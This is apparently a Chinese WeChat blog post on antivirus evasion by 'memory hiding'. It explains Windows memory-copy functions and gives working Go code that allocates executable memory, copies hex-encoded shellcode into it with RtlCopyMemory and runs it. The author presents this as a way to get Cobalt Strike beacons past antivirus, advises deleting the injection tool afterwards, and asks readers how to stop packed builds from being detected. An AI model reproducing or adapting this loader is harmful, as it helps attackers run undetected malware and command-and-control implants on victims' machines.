原创 Snaker Snaker独行者
微信号 gh_e5407d383892
功能介绍 记录本人网络安全知识/经验/笔记,致敬未来的我。
__
收录于话题
【简述】
**
**
内存隐藏技术的核心在于将自己的shellcode注入到内存当中并隐藏起来,那么可以围绕Windows API中的RTLCopyMemory函数开展,RTLCopyMemory函数是Windows内核函数,能够实现内存块的复制。而同样能够实现内存块复制的,还有一个RTLMoveMemory函数,然而RTLCopyMemory和RTLMoveMemory的区别在于是非重叠内存区域的复制,RTLCopyMemory非重叠复制,而RTLMoveMemory是重叠复制。这很好理解,看图:
如果需要将A到C段的内存复制到B到D段内存上,这B到C段的内存就是重叠部分。如果使用RTLCopyMemory函数,重叠的部分不会被覆盖;如果使用RTLMoveMemory函数,重叠的部分也会被覆盖,当然,两者的结果都是一样的。经过测试,也证实了自己的想法,无论是用RTLCopyMemory还是RTLMoveMemory函数,都可以达到免杀的目的。
【实现思路】
**
**
直接上核心代码部分,难度不大
func ShellCode_RTLCopyMemory(shellcode string) error { bad_Shellcode := []byte(shellcode) addr, _, err := VirtualAlloc.Call(0, uintptr(len(bad_Shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { return err } ds, _ := hex.DecodeString(shellcode) _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ds[0])), uintptr(len(shellcode))) if err != nil { if err.Error() != "The operation completed successfully." { return err } } _, _, err = syscall.Syscall(addr, 0, 0, 0, 0) if err != nil { if err.Error() != "The operation completed successfully." { return err } } return nil}
着重说一下关于RTLCopyMemory函数,它有三个参数
参数
|
意义
---|---
Destination
|
数据类型:void*。指向要将字节复制到的目标内存块的指针。
Source
|
数据类型:const void*。指向要从中复制字节的源内存块的指针。
Length
|
数据类型:size_t。要从源复制到目标的字节数。
复制需要源内存块的指针和目标内存块的指针,因为内存块的复制会导致地址偏移,所以这里必须要unsafe.Pointer和uintptr配合来实现,然而目标地址怎么设置呢?这就需要用到VirtualAlloc函数进行虚拟内存分配,我们需要的虚拟内存大小就是shellcode的长度,所以这里的目标地址就是我们申请的虚拟内存地址。源内存块地址就是shellcode转化成字节后,即ds[],第0位的指针位置,即&ds[0](备注:golang中的&和*符号都是指针符号,&符号的意思是对变量取地址,*符号的意思是对指针取值。)
其实这就是 内存注入技术
,通过VirtualAlloc申请一块内存空间,VirtualAlloc如果调用成功,则返回分配的首地址。接着将Shellcode复制到VirtualAlloc申请的内存中,进行调用。这种方法的优势就是被发现的概率很低,甚至可以被忽略,注入后将注入工具删除即可。但是这种技术也存在一个弊端,因为内存是易失性存储器,所以系统必须一直开机,不能关闭。
最后的CS上线免杀效果:
(这里本人有个问题不知道该如何解决,没经过upx压缩的并不会报毒,能成功bypass,而经过upx压缩的会被查杀出来,我已经修改过upx的静态特征,但是依旧被查杀出来,望师傅们指点指点)
预览时标签不可点
收录于话题 #
个 __
上一篇 下一篇
阅读
分享 收藏
赞 在看
____已同步到看一看写下你的想法
前往“发现”-“看一看”浏览“朋友在看”
前往看一看
看一看入口已关闭
在“设置”-“通用”-“发现页管理”打开“看一看”入口
我知道了
__
已发送
取消 __
发送
我的免杀之路:内存隐藏
最多200字,当前共字
__
发送中
写下你的留言
微信扫一扫
关注该公众号
微信扫一扫
使用小程序
取消 允许
取消 允许
知道了
长按识别前往小程序